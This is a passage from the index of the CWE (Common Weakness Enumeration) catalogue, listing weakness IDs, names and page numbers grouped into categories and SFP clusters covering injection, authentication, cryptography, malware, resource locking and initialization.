- CWE-346: Origin Validation Error *(p.760)*

- CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
- CWE-348: Use of Less Trusted Source *(p.765)*
- CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
- CWE-351: Insufficient Type Distinction *(p.772)*
- CWE-353: Missing Support for Integrity Check *(p.780)*
- CWE-354: Improper Validation of Integrity Check Value *(p.782)*
- CWE-494: Download of Code Without Integrity Check *(p.1055)*
- CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
- CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p.1273)*
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
- CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*

CWE-19: Data Processing Errors *(p.1849)*

- CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*
- CWE-166: Improper Handling of Missing Special Element *(p.390)*
- CWE-167: Improper Handling of Additional Special Element *(p.392)*
- CWE-168: Improper Handling of Inconsistent Special Elements *(p.394)*
- CWE-178: Improper Handling of Case Sensitivity *(p.411)*
- CWE-182: Collapse of Data into Unsafe Value *(p.422)*
- CWE-186: Overly Restrictive Regular Expression *(p.431)*
- CWE-229: Improper Handling of Values *(p.521)*
- CWE-233: Improper Handling of Parameters *(p.525)*
- CWE-237: Improper Handling of Structural Elements *(p.531)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*
- CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
- CWE-471: Modification of Assumed-Immutable Data (MAID) *(p.999)*
- CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
- CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
- CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
- CWE-624: Executable Regular Expression Error *(p.1236)*
- CWE-625: Permissive Regular Expression *(p.1237)*
- CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*
- CWE-1024: Comparison of Incompatible Types *(p.1637)*

CWE-137: Data Neutralization Issues *(p.1851)*

- CWE-76: Improper Neutralization of Equivalent Special Elements *(p.135)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
- CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') *(p.202)*
- CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p.213)*
- CWE-117: Improper Output Neutralization for Logs *(p.266)*
- CWE-140: Improper Neutralization of Delimiters *(p.345)*
- CWE-170: Improper Null Termination *(p.395)*
- CWE-188: Reliance on Data/Memory Layout *(p.435)*
- CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*

- CWE-463: Deletion of Data Structure Sentinel *(p.984)*
- CWE-464: Addition of Data Structure Sentinel *(p.986)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*
- CWE-791: Incomplete Filtering of Special Elements *(p.1478)*
- CWE-795: Only Filtering Special Elements at a Specified Location *(p.1483)*
- CWE-838: Inappropriate Encoding for Output Context *(p.1551)*
- CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') *(p.1598)*
- CWE-1236: Improper Neutralization of Formula Elements in a CSV File *(p.1756)*

CWE-1225: Documentation Issues *(p.2017)*
- CWE-1053: Missing Documentation for Design *(p.1655)*
- CWE-1068: Inconsistency Between Implementation and Documented Design *(p.1670)*
- CWE-1110: Incomplete Design Documentation *(p.1707)*
- CWE-1111: Incomplete I/O Documentation *(p.1708)*
- CWE-1112: Incomplete Documentation of Program Execution *(p.1709)*
- CWE-1118: Insufficient Documentation of Error Handling Techniques *(p.1713)*

CWE-1219: File Handling Issues *(p.2017)*
- CWE-23: Relative Path Traversal *(p.42)*
- CWE-36: Absolute Path Traversal *(p.69)*
- CWE-41: Improper Resolution of Path Equivalence *(p.81)*
- CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
- CWE-66: Improper Handling of File Names that Identify Virtual Resources *(p.118)*
- CWE-378: Creation of Temporary File With Insecure Permissions *(p.832)*
- CWE-379: Creation of Temporary File in Directory with Insecure Permissions *(p.834)*
- CWE-426: Untrusted Search Path *(p.917)*
- CWE-427: Uncontrolled Search Path Element *(p.922)*
- CWE-428: Unquoted Search Path or Element *(p.927)*

CWE-1227: Encapsulation Issues *(p.2018)*
- CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer *(p.1656)*
- CWE-1057: Data Access Operations Outside of Expected Data Manager Component *(p.1659)*
- CWE-1062: Parent Class with References to Child Class *(p.1664)*
- CWE-1083: Data Access from Outside Expected Data Manager Component *(p.1683)*
- CWE-1090: Method Containing Access of a Member Element from Another Class *(p.1690)*
- CWE-1100: Insufficient Isolation of System-Dependent Functions *(p.1699)*
- CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality *(p.1703)*

CWE-389: Error Conditions, Return Values, Status Codes *(p.1863)*
- CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
- CWE-248: Uncaught Exception *(p.545)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-253: Incorrect Check of Function Return Value *(p.560)*
- CWE-390: Detection of Error Condition Without Action *(p.845)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-392: Missing Report of Error Condition *(p.853)*
- CWE-393: Return of Wrong Status Code *(p.854)*
- CWE-394: Unexpected Status Code or Return Value *(p.856)*
- CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
- CWE-396: Declaration of Catch for Generic Exception *(p.860)*
- CWE-397: Declaration of Throws for Generic Exception *(p.862)*
- CWE-544: Missing Standardized Error Handling Mechanism *(p.1117)*
- CWE-584: Return Inside Finally Block *(p.1171)*
- CWE-600: Uncaught Exception in Servlet *(p.1193)*
- CWE-617: Reachable Assertion *(p.1224)*

- CWE-756: Missing Custom Error Page *(p.1390)*
- CWE-1069: Empty Exception Block *(p.1670)*

CWE-569: Expression Issues *(p.1870)*
- CWE-480: Use of Incorrect Operator *(p.1023)*
- CWE-570: Expression is Always False *(p.1147)*
- CWE-571: Expression is Always True *(p.1150)*
- CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*
- CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
- CWE-783: Operator Precedence Logic Error *(p.1453)*

CWE-429: Handler Errors *(p.1866)*
- CWE-430: Deployment of Wrong Handler *(p.929)*
- CWE-431: Missing Handler *(p.931)*
- CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations *(p.932)*
- CWE-433: Unparsed Raw Web Content Delivery *(p.933)*
- CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*

- CWE-238: Improper Handling of Incomplete Structural Elements *(p.531)*
- CWE-239: Failure to Handle Incomplete Element *(p.532)*
- CWE-240: Improper Handling of Inconsistent Structural Elements *(p.533)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*
- CWE-351: Insufficient Type Distinction *(p.772)*
- CWE-354: Improper Validation of Integrity Check Value *(p.782)*

CWE-994: SFP Secondary Cluster: Tainted Input to Variable *(p.1957)*
- CWE-15: External Control of System or Configuration Setting *(p.17)*
- CWE-20: Improper Input Validation *(p.19)*
- CWE-454: External Initialization of Trusted Variables or Data Stores *(p.967)*
- CWE-496: Public Data Assigned to Private Array-Typed Field *(p.1061)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key *(p.1142)*
- CWE-606: Unchecked Input for Loop Condition *(p.1207)*
- CWE-616: Incomplete Identification of Uploaded File Variables (PHP) *(p.1223)*

CWE-897: SFP Primary Cluster: Entry Points *(p.1925)*

CWE-1002: SFP Secondary Cluster: Unexpected Entry Points *(p.1960)*
- CWE-489: Active Debug Code *(p.1042)*
- CWE-491: Public cloneable() Method Without Final ('Object Hijack') *(p.1044)*
- CWE-493: Critical Public Variable Without Final Modifier *(p.1053)*
- CWE-500: Public Static Field Not Marked Final *(p.1069)*
- CWE-531: Inclusion of Sensitive Information in Test Code *(p.1103)*
- CWE-568: finalize() Method Without super.finalize() *(p.1146)*

- CWE-580: clone() Method Without super.clone() *(p.1166)*
- CWE-582: Array Declared Public, Final, and Static *(p.1168)*
- CWE-583: finalize() Method Declared Public *(p.1169)*
- CWE-608: Struts: Non-private Field in ActionForm Class *(p.1210)*
- CWE-766: Critical Data Element Declared Public *(p.1415)*

CWE-898: SFP Primary Cluster: Authentication *(p.1925)*
- CWE-947: SFP Secondary Cluster: Authentication Bypass *(p.1934)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-289: Authentication Bypass by Alternate Name *(p.638)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p.670)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p.673)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-309: Use of Password System for Primary Authentication *(p.684)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
- CWE-948: SFP Secondary Cluster: Digital Certificate *(p.1935)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
  - CWE-297: Improper Validation of Certificate with Host Mismatch *(p.656)*
  - CWE-298: Improper Validation of Certificate Expiration *(p.659)*
  - CWE-299: Improper Check for Certificate Revocation *(p.661)*
  - CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p.1183)*
  - CWE-599: Missing Validation of OpenSSL Certificate *(p.1192)*
- CWE-949: SFP Secondary Cluster: Faulty Endpoint Authentication *(p.1935)*
  - CWE-293: Using Referer Field for Authentication *(p.645)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
  - CWE-345: Insufficient Verification of Data Authenticity *(p.758)*
  - CWE-346: Origin Validation Error *(p.760)*
  - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p.769)*
  - CWE-360: Trust of System Event Data *(p.792)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking *(p.1140)*
  - CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p.1269)*
- CWE-950: SFP Secondary Cluster: Hardcoded Sensitive Data *(p.1936)*
  - CWE-258: Empty Password in Configuration File *(p.567)*
  - CWE-259: Use of Hard-coded Password *(p.569)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-547: Use of Hard-coded, Security-relevant Constants *(p.1120)*
- CWE-951: SFP Secondary Cluster: Insecure Authentication Policy *(p.1936)*
  - CWE-262: Not Using Password Aging *(p.577)*
  - CWE-263: Password Aging with Long Expiration *(p.579)*
  - CWE-521: Weak Password Requirements *(p.1089)*
  - CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation *(p.1129)*
  - CWE-613: Insufficient Session Expiration *(p.1219)*
  - CWE-645: Overly Restrictive Account Lockout Mechanism *(p.1267)*
- CWE-952: SFP Secondary Cluster: Missing Authentication *(p.1936)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-620: Unverified Password Change *(p.1229)*
- CWE-953: SFP Secondary Cluster: Missing Endpoint Authentication *(p.1937)*
  - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p.912)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
- CWE-954: SFP Secondary Cluster: Multiple Binds to the Same Port *(p.1937)*
  - CWE-605: Multiple Binds to the Same Port *(p.1205)*
- CWE-955: SFP Secondary Cluster: Unrestricted Authentication *(p.1937)*

- CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*

CWE-899: SFP Primary Cluster: Access Control *(p.1926)*
- CWE-944: SFP Secondary Cluster: Access Management *(p.1933)*
  - CWE-282: Improper Ownership Management *(p.616)*
  - CWE-283: Unverified Ownership *(p.618)*
  - CWE-284: Improper Access Control *(p.619)*
  - CWE-286: Incorrect User Management *(p.629)*
  - CWE-708: Incorrect Ownership Assignment *(p.1363)*
- CWE-945: SFP Secondary Cluster: Insecure Resource Access *(p.1933)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-424: Improper Protection of Alternate Path *(p.914)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-650: Trusting HTTP Permission Methods on the Server Side *(p.1275)*
- CWE-946: SFP Secondary Cluster: Insecure Resource Permissions *(p.1934)*
  - CWE-276: Incorrect Default Permissions *(p.606)*
  - CWE-277: Insecure Inherited Permissions *(p.609)*
  - CWE-278: Insecure Preserved Inherited Permissions *(p.610)*
  - CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
  - CWE-281: Improper Preservation of Permissions *(p.615)*
  - CWE-560: Use of umask() with chmod-style Argument *(p.1132)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*

CWE-901: SFP Primary Cluster: Privilege *(p.1926)*
- CWE-250: Execution with Unnecessary Privileges *(p.547)*
- CWE-266: Incorrect Privilege Assignment *(p.580)*
- CWE-267: Privilege Defined With Unsafe Actions *(p.583)*
- CWE-268: Privilege Chaining *(p.586)*
- CWE-269: Improper Privilege Management *(p.589)*
- CWE-270: Privilege Context Switching Error *(p.593)*
- CWE-271: Privilege Dropping / Lowering Errors *(p.595)*
- CWE-272: Least Privilege Violation *(p.598)*
- CWE-274: Improper Handling of Insufficient Privileges *(p.604)*
- CWE-520: .NET Misconfiguration: Use of Impersonation *(p.1088)*
- CWE-653: Insufficient Compartmentalization *(p.1279)*
- CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p.7)*

CWE-902: SFP Primary Cluster: Channel *(p.1927)*
- CWE-956: SFP Secondary Cluster: Channel Attack *(p.1937)*
  - CWE-290: Authentication Bypass by Spoofing *(p.640)*
  - CWE-294: Authentication Bypass by Capture-replay *(p.647)*
  - CWE-300: Channel Accessible by Non-Endpoint *(p.663)*
  - CWE-301: Reflection Attack in an Authentication Protocol *(p.666)*
  - CWE-419: Unprotected Primary Channel *(p.908)*
  - CWE-420: Unprotected Alternate Channel *(p.909)*
  - CWE-421: Race Condition During Access to Alternate Channel *(p.911)*
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p.950)*
- CWE-957: SFP Secondary Cluster: Protocol Error *(p.1938)*
  - CWE-353: Missing Support for Integrity Check *(p.780)*
  - CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities *(p.943)*
  - CWE-436: Interpretation Conflict *(p.944)*
  - CWE-437: Incomplete Model of Endpoint Features *(p.946)*
  - CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') *(p.1392)*

CWE-903: SFP Primary Cluster: Cryptography *(p.1927)*
- CWE-958: SFP Secondary Cluster: Broken Cryptography *(p.1938)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*

- CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-759: Use of a One-Way Hash without a Salt *(p.1395)*
- CWE-760: Use of a One-Way Hash with a Predictable Salt *(p.1399)*

- CWE-959: SFP Secondary Cluster: Weak Cryptography *(p.1938)*
  - CWE-261: Weak Encoding for Password *(p.575)*
  - CWE-322: Key Exchange without Entity Authentication *(p.711)*
  - CWE-323: Reusing a Nonce, Key Pair in Encryption *(p.713)*
  - CWE-324: Use of a Key Past its Expiration Date *(p.715)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
  - CWE-329: Not Using a Random IV with CBC Mode *(p.729)*
  - CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*

- CWE-904: SFP Primary Cluster: Malware *(p.1927)*
  - CWE-506: Embedded Malicious Code *(p.1077)*
  - CWE-507: Trojan Horse *(p.1079)*
  - CWE-508: Non-Replicating Malicious Code *(p.1080)*
  - CWE-509: Replicating Malicious Code (Virus or Worm) *(p.1081)*
  - CWE-510: Trapdoor *(p.1082)*
  - CWE-511: Logic/Time Bomb *(p.1084)*
  - CWE-512: Spyware *(p.1085)*
  - CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream *(p.122)*
  - CWE-968: SFP Secondary Cluster: Covert Channel *(p.1944)*
    - CWE-385: Covert Timing Channel *(p.842)*
    - CWE-514: Covert Channel *(p.1086)*
    - CWE-515: Covert Storage Channel *(p.1087)*
- CWE-905: SFP Primary Cluster: Predictability *(p.1928)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-331: Insufficient Entropy *(p.736)*
  - CWE-332: Insufficient Entropy in PRNG *(p.739)*
  - CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*
  - CWE-334: Small Space of Random Values *(p.742)*
  - CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
  - CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) *(p.745)*
  - CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) *(p.747)*
  - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
  - CWE-339: Small Seed Space in PRNG *(p.751)*
  - CWE-340: Generation of Predictable Numbers or Identifiers *(p.752)*
  - CWE-341: Predictable from Observable State *(p.753)*
  - CWE-342: Predictable Exact Value from Previous Values *(p.755)*
  - CWE-343: Predictable Value Range from Previous Values *(p.756)*
  - CWE-344: Use of Invariant Value in Dynamically Changing Context *(p.757)*
- CWE-906: SFP Primary Cluster: UI *(p.1928)*
  - CWE-995: SFP Secondary Cluster: Feature *(p.1957)*
    - CWE-447: Unimplemented or Unsupported Feature in UI *(p.957)*
    - CWE-448: Obsolete Feature in UI *(p.959)*
    - CWE-449: The UI Performs the Wrong Action *(p.960)*
    - CWE-450: Multiple Interpretations of UI Input *(p.961)*
    - CWE-451: User Interface (UI) Misrepresentation of Critical Information *(p.962)*
    - CWE-549: Missing Password Field Masking *(p.1122)*
    - CWE-655: Insufficient Psychological Acceptability *(p.1283)*
  - CWE-996: SFP Secondary Cluster: Security *(p.1958)*
    - CWE-356: Product UI does not Warn User of Unsafe Actions *(p.784)*
    - CWE-357: Insufficient UI Warning of Dangerous Operations *(p.785)*
    - CWE-446: UI Discrepancy for Security Feature *(p.956)*

- CWE-997: SFP Secondary Cluster: Information Loss *(p.1958)*
  - CWE-221: Information Loss or Omission *(p.511)*
  - CWE-222: Truncation of Security-relevant Information *(p.512)*
  - CWE-223: Omission of Security-relevant Information *(p.513)*
  - CWE-224: Obscured Security-relevant Information by Alternate Name *(p.515)*
- CWE-907: SFP Primary Cluster: Other *(p.1928)*
  - CWE-975: SFP Secondary Cluster: Architecture *(p.1946)*
    - CWE-348: Use of Less Trusted Source *(p.765)*
    - CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
    - CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
    - CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') *(p.1247)*
    - CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p.1273)*
    - CWE-654: Reliance on a Single Factor in a Security Decision *(p.1281)*
    - CWE-656: Reliance on Security Through Obscurity *(p.1285)*
    - CWE-657: Violation of Secure Design Principles *(p.1287)*
    - CWE-671: Lack of Administrator Control over Security *(p.1309)*
    - CWE-693: Protection Mechanism Failure *(p.1344)*
    - CWE-749: Exposed Dangerous Method or Function *(p.1377)*
  - CWE-976: SFP Secondary Cluster: Compiler *(p.1947)*
    - CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p.1375)*
  - CWE-977: SFP Secondary Cluster: Design *(p.1947)*
    - CWE-115: Misinterpretation of Input *(p.259)*
    - CWE-187: Partial String Comparison *(p.432)*
    - CWE-188: Reliance on Data/Memory Layout *(p.435)*
    - CWE-193: Off-by-one Error *(p.449)*
    - CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
    - CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
    - CWE-406: Insufficient Control of Network Message Volume (Network Amplification) *(p.884)*
    - CWE-407: Inefficient Algorithmic Complexity *(p.887)*
    - CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
    - CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
    - CWE-410: Insufficient Resource Pool *(p.891)*
    - CWE-430: Deployment of Wrong Handler *(p.929)*
    - CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
    - CWE-463: Deletion of Data Structure Sentinel *(p.984)*
    - CWE-464: Addition of Data Structure Sentinel *(p.986)*
    - CWE-480: Use of Incorrect Operator *(p.1023)*
    - CWE-483: Incorrect Block Delimitation *(p.1032)*
    - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*
    - CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
    - CWE-618: Exposed Unsafe ActiveX Method *(p.1226)*
    - CWE-648: Incorrect Use of Privileged APIs *(p.1271)*
    - CWE-670: Always-Incorrect Control Flow Implementation *(p.1308)*
    - CWE-682: Incorrect Calculation *(p.1326)*
    - CWE-691: Insufficient Control Flow Management *(p.1342)*
    - CWE-696: Incorrect Behavior Order *(p.1348)*
    - CWE-697: Incorrect Comparison *(p.1350)*
    - CWE-698: Execution After Redirect (EAR) *(p.1353)*
    - CWE-705: Incorrect Control Flow Scoping *(p.1359)*
  - CWE-978: SFP Secondary Cluster: Implementation *(p.1948)*
    - CWE-358: Improperly Implemented Security Check for Standard *(p.786)*
    - CWE-398: 7PK - Code Quality *(p.1863)*
    - CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p.1234)*

CWE-710: Improper Adherence to Coding Standards *(p.1365)*

Graph View: CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

- CWE-867: 2011 Top 25 - Weaknesses On the Cusp *(p.1912)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
  - CWE-456: Missing Initialization of a Variable *(p.971)*

- CWE-1176: Inefficient CPU Computation *(p.1724)*
  - CWE-1042: Static Member Data Element outside of a Singleton Class Element *(p.1644)*
  - CWE-1046: Creation of Immutable Text Using String Concatenation *(p.1648)*
  - CWE-1049: Excessive Data Query Operations in a Large Data Table *(p.1651)*
  - CWE-1063: Creation of Class Instance within a Static Code Block *(p.1665)*
  - CWE-1067: Excessive Execution of Sequential Searches of Data Resource *(p.1669)*
- CWE-406: Insufficient Control of Network Message Volume (Network Amplification) *(p.884)*
- CWE-407: Inefficient Algorithmic Complexity *(p.887)*
- CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
- CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
  - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p.1440)*

CWE-410: Insufficient Resource Pool *(p.891)*

CWE-471: Modification of Assumed-Immutable Data (MAID) *(p.999)*
- CWE-291: Reliance on IP Address for Authentication *(p.643)*
- CWE-472: External Control of Assumed-Immutable Web Parameter *(p.1001)*
- CWE-473: PHP External Variable Modification *(p.1005)*
- CWE-607: Public Static Final Field References Mutable Object *(p.1209)*

CWE-487: Reliance on Package-level Scope *(p.1038)*

CWE-488: Exposure of Data Element to Wrong Session *(p.1040)*

- CWE-495: Private Data Structure Returned From A Public Method *(p.1059)*
- CWE-496: Public Data Assigned to Private Array-Typed Field *(p.1061)*
- CWE-498: Cloneable Class Containing Sensitive Information *(p.1065)*
- CWE-499: Serializable Class Containing Sensitive Data *(p.1067)*
- CWE-501: Trust Boundary Violation *(p.1071)*
- CWE-580: clone() Method Without super.clone() *(p.1166)*
- CWE-610: Externally Controlled Reference to a Resource in Another Sphere *(p.1213)*
  - CWE-15: External Control of System or Configuration Setting *(p.17)*
  - CWE-384: Session Fixation *(p.839)*
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p.950)*
    - CWE-1021: Improper Restriction of Rendered UI Layers or Frames *(p.1631)*
    - CWE-918: Server-Side Request Forgery (SSRF) *(p.1599)*
  - CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
  - CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
  - CWE-73: External Control of File Name or Path *(p.125)*
    - CWE-114: Process Control *(p.256)*
- CWE-662: Improper Synchronization *(p.1288)*
  - CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element *(p.1660)*
  - CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p.1290)*
    - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
    - CWE-558: Use of getlogin() in Multithreaded Application *(p.1130)*
  - CWE-667: Improper Locking *(p.1299)*
    - CWE-1232: Improper Lock Behavior After Power State Transition *(p.1748)*
    - CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls *(p.1750)*
    - CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks *(p.1751)*
    - CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
    - CWE-413: Improper Resource Locking *(p.896)*
      - CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
    - CWE-414: Missing Lock Check *(p.900)*
    - CWE-609: Double-Checked Locking *(p.1211)*
    - CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
    - CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
    - CWE-832: Unlock of a Resource that is not Locked *(p.1542)*
    - CWE-833: Deadlock *(p.1543)*
  - CWE-820: Missing Synchronization *(p.1512)*
    - CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization *(p.1696)*
    - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p.1115)*
    - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
  - CWE-821: Incorrect Synchronization *(p.1514)*
    - CWE-1088: Synchronous Access of Remote Resource without Timeout *(p.1688)*
    - CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels *(p.1800)*
    - CWE-572: Call to Thread run() instead of start() *(p.1152)*
    - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p.1155)*
- CWE-665: Improper Initialization *(p.1293)*
  - CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data *(p.1653)*
  - CWE-1052: Excessive Use of Hard-Coded Literals in Initialization *(p.1654)*
  - CWE-1188: Insecure Default Initialization of Resource *(p.1725)*
    - CWE-453: Insecure Default Variable Initialization *(p.966)*
  - CWE-1221: Incorrect Register Defaults or Module Parameters *(p.1737)*
  - CWE-1271: Missing Known Value on Reset for Registers Holding Security Settings *(p.1814)*

- CWE-1279: Cryptographic Primitives used without Successful Self-Test *(p.1829)*
- CWE-454: External Initialization of Trusted Variables or Data Stores *(p.967)*
- CWE-455: Non-exit on Failed Initialization *(p.969)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling *(p.1438)*
  - CWE-789: Uncontrolled Memory Allocation *(p.1474)*
- CWE-908: Use of Uninitialized Resource *(p.1578)*
  - CWE-457: Use of Uninitialized Variable *(p.975)*
- CWE-909: Missing Initialization of Resource *(p.1581)*
  - CWE-456: Missing Initialization of a Variable *(p.971)*

CWE-666: Operation on Resource in Wrong Phase of Lifetime *(p.1298)*

- CWE-415: Double Free *(p.901)*
- CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p.1183)*
- CWE-605: Multiple Binds to the Same Port *(p.1205)*
- CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
  - CWE-298: Improper Validation of Certificate Expiration *(p.659)*
  - CWE-324: Use of a Key Past its Expiration Date *(p.715)*
  - CWE-613: Insufficient Session Expiration *(p.1219)*
  - CWE-825: Expired Pointer Dereference *(p.1523)*
    - CWE-415: Double Free *(p.901)*
    - CWE-416: Use After Free *(p.904)*
  - CWE-910: Use of Expired File Descriptor *(p.1584)*
- CWE-826: Premature Release of Resource During Expected Lifetime *(p.1525)*

CWE-668: Exposure of Resource to Wrong Sphere *(p.1305)*

- CWE-1189: Improper Isolation of Shared Resources on System-on-Chip (SoC) *(p.1726)*
- CWE-1282: Assumed-Immutable Data Stored in Writable Memory *(p.1835)*
- CWE-134: Use of Externally-Controlled Format String *(p.334)*
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor *(p.466)*
  - CWE-1243: Exposure of Security-Sensitive Fuse Values During Debug *(p.1764)*
  - CWE-1273: Device Unlock Credential Sharing *(p.1818)*
